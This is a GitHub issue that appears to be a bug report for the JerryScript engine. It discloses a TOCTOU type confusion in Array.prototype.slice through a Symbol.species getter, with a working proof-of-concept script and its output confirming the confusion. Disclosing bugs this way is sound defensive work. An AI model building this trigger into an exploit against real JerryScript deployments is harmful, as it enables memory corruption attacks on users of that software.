Skip to content

Type confusion in Array.prototype.slice via Array[Symbol.species] TOCTOU #5281

@hkbinbin

Description

@hkbinbin

Array.prototype.slice has a TOCTOU vulnerability in its fast-path optimization. The function checks whether the source array is a "fast array" before calling ecma_op_array_species_create(), which invokes the user-controlled Array[Symbol.species] getter. The getter can convert the source array from fast mode to normal(slow) mode, but the stale fast-path flag is never re-checked for the source array. This causes property_list_cp which now points to an Emma_property_pair_t to be dereferenced as a flat ecma_value_t[] buffer, resulting in type confusion.

JerryScript revision

Version: 3.0.0 (b706935)

Build platform

macOS 26.2 (Darwin 25.2.0 arm64)

Build steps

python tools/build.py

Test case
var arr = [0xAAAA, 0xBBBB, 0xCCCC, 0xDDDD];
var triggered = false;
Object.defineProperty(Array, Symbol.species, {
  get: function() {
    if (!triggered) {
      triggered = true;
      arr.x = 1;  // force fast array -> normal array
    }
    return Array;
  },
  configurable: true
});
var result = arr.slice(0);
delete Array[Symbol.species];

// If no bug, result should be [0xAAAA, 0xBBBB, 0xCCCC, 0xDDDD] (all numbers).
// NOTE: Do NOT stringify the type-confused fake objects (causes TypeError).
//       Use typeof for safe detection only.
print("result.length = " + result.length);
var bug_found = false;
for (var i = 0; i < result.length; i++) {
  var t = typeof result[i];
  print("result[" + i + "] typeof = " + t);
  if (t !== "number") bug_found = true;
}
if (bug_found) {
  print("");
  print("[!] BUG CONFIRMED: slice() returned non-number values");
  print("    Root cause: TOCTOU race lets the engine read internal property pair");
  print("    metadata as array elements, resulting in type confusion");
} else {
  print("[-] Not triggered (this build may have assertion guards)");
}
Execution steps
build/bin/jerry poc.js
Output
result.length = 4
result[0] typeof = object
result[1] typeof = number
result[2] typeof = number
result[3] typeof = number

[!] BUG CONFIRMED: slice() returned non-number values
    Root cause: TOCTOU race lets the engine read internal property pair
    metadata as array elements, resulting in type confusion
Expected behavior

result should contain 4 numbers [0xAAAA, 0xBBBB, 0xCCCC, 0xDDDD]. All typeof checks should print number.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions